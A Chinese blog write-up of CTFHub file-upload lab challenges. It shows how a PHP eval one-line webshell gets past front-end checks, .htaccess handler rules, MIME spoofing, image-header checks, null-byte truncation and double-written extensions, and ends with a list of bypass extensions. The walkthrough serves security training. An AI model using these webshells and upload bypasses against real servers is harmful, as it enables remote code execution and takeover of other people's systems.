CTFHub-Web-文件上传练习

摘要:CTFHub靶场通关(三)

0x00 无验证

在这里插入图片描述

上传一句话木马1.php

1
<?php @eval($_POST["pass"]);?> 

上传文件相对路径upload/1.php
在这里插入图片描述
使用蚁剑连接,连接密码为pass
在这里插入图片描述
查看目录,flag就在这里
在这里插入图片描述

0x01 前端验证

在这里插入图片描述

上传一句话木马,结果提示该文件不允许上传
在这里插入图片描述
题目是前端验证,直接查看网页源代码,发现只能上传.jpg,.png,.gif三种格式的文件
在这里插入图片描述

把1.php改为1.jpg,然后上传抓包

在这里插入图片描述
1.jpg再改为1.php,然后放包
在这里插入图片描述
上传成功,得到相对路径upload/1.php
在这里插入图片描述
还是一样的操作,蚁剑连接,查找目录,找到flag
在这里插入图片描述

0x03 .htaccess

题目描述:htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

访问
在这里插入图片描述
查看源代码,发现文件后缀都被禁用了
在这里插入图片描述

百度一下hatccess文件,.htaccess是Apache的又一特色。一般来说,配置文件的作用范围都是全局的,但Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——.htaccess(分布式配置文件)

.hatccess文件有两种写法

第一种方法:
下面代码的意思是,只要文件名中包含pass,就会被Apache解析为php文件。

1
2
3
<FilesMatch "pass">
SetHandler application/x-httpd-php
</FilesMatch>

提示文件名不能为空,命名为3.hatccess,用bp抓包,将3.htaccess改为.htaccass,然后放包
在这里插入图片描述

.htaccass文件上传成功
在这里插入图片描述
把上面用到的1.php改为3.pass文件,上传文件相对路径upload/3.pass
在这里插入图片描述

蚁剑连接,可以看到上传的文件
在这里插入图片描述
查找flag
在这里插入图片描述

第二种方法:·

内容为

1
AddType application/x-httpd-php .jpg

就成功地使该.htaccess文件所在目录及其子目录中的后缀为.jpg的文件被Apache当做php文件

上传test.htaccess

在这里插入图片描述

上传成功
在这里插入图片描述

再上传3.jpg,内容为<?php @eval($_POST["pass"]);?> ,获取到上传文件路径
在这里插入图片描述
蚁剑连接,连接成功。
在这里插入图片描述

参考文章:文件解析漏洞

0x04 MIME绕过

在这里插入图片描述
直接上传4.php,提示文件类型不正确
在这里插入图片描述

来使用MIME绕过,百度了解一下MIME

MIME(Multipurpose Internet MailExtensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。MIME 消息能包含文本、图像、音频、视频以及其他应用程序专用的数据。

MIME多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式每个MIME类型由两部分组成,前面是数据的大类别,例如声音 audio、图象 Image等,后面定义具体的种类。

常见的MME类型,例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#text表明文件是普通文本
text/plain
text/html
#image表明是某种图像或者动态图(gif)
image/jpeg
image/png
#audio表明是某种音频文件
audio/mpeg
audio/ogg
audio/*
#video表明是某种视频文件
video/mp4
#application表明是某种二进制数据
application/*
application/json
application/javascript
application/ecmascript
application/octet-stream

上传4.php,使用bp抓包,修改Content-Typed的值,改成Content-Type: image/jpeg,然后放包
在这里插入图片描述
上传成功,得到文件相对路径
在这里插入图片描述
蚁剑连接,查找目录文件,即可得到flag
在这里插入图片描述

参考文章: MIME 类型

0x05 文件头检查

在这里插入图片描述

上传一句话木马5.php,提示文件类型不正确

在这里插入图片描述
再把5.php修改成5.jpg上传,发现提示文件错误
在这里插入图片描述
尝试MME绕过,上传5.php,抓包,修改Content-Typed的值,然后放包,发现提示文件错误
在这里插入图片描述

应该是对文件内容进行了检测,来制作一个图片码m.php
在这里插入图片描述
抓包修改Content-Type的值,放包
在这里插入图片描述
结果提示文件错误
在这里插入图片描述

看了大师傅的wp,说尽量换小一点的图片,就会成功,这次换了一个非常小的图片,重新制作图片马
在这里插入图片描述

上传flag.php,抓包修改Content-Type的值为image/png
在这里插入图片描述
上传成功,得到上传路径
在这里插入图片描述

蚁剑连接,拿到flag
在这里插入图片描述

0x06 00截断

了解一下00截断,关于上传中的00截断分析
在这里插入图片描述

上传一句话木马,提示文件类型不匹配, 但在url栏出现了路径信息
在这里插入图片描述
查看源代码
在这里插入图片描述
上传shell.jpg,抓包
在这里插入图片描述
构造00截断,添加shell.php%00,放包
在这里插入图片描述
上传成功路径为upload/shell.php,蚁剑连接
在这里插入图片描述
拿到flag
在这里插入图片描述

0x07 双写后缀

在这里插入图片描述

上传一句话木马shell.php,虽然上传成功,但后缀却消失了
在这里插入图片描述
查看源码,$name = str_ireplace($blacklist, "", $name);,变量blacklist里面的值会被替换,后缀被过滤了
在这里插入图片描述
继续上传shell.php,然后抓包修改成shell.pphphp,中间的php字符串被过滤,剩下的php就组合成了php

在这里插入图片描述
文件上传成功,得到文件上传路径
在这里插入图片描述
蚁剑连接,flag就在这
在这里插入图片描述

总结

我们可以通过上传一些平时不怎么用的容易被人忽视的文件扩展名,来绕过这种类型的验证。

黑名单绕过
通过上传不受欢迎的php扩展来绕过黑名单。例如:pht,phpt,phtml,php3,php4,php5,php6

白名单绕过
通过某种类型的技巧来绕过白名单,例如添加空字节注入(shell.php%00.gif),或使用双重扩展来上传文件(shell.jpg.php)。

扩展名大小写来绕过
例如:pHp,Php,phP。

双写后缀绕过
例如:pphphp


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!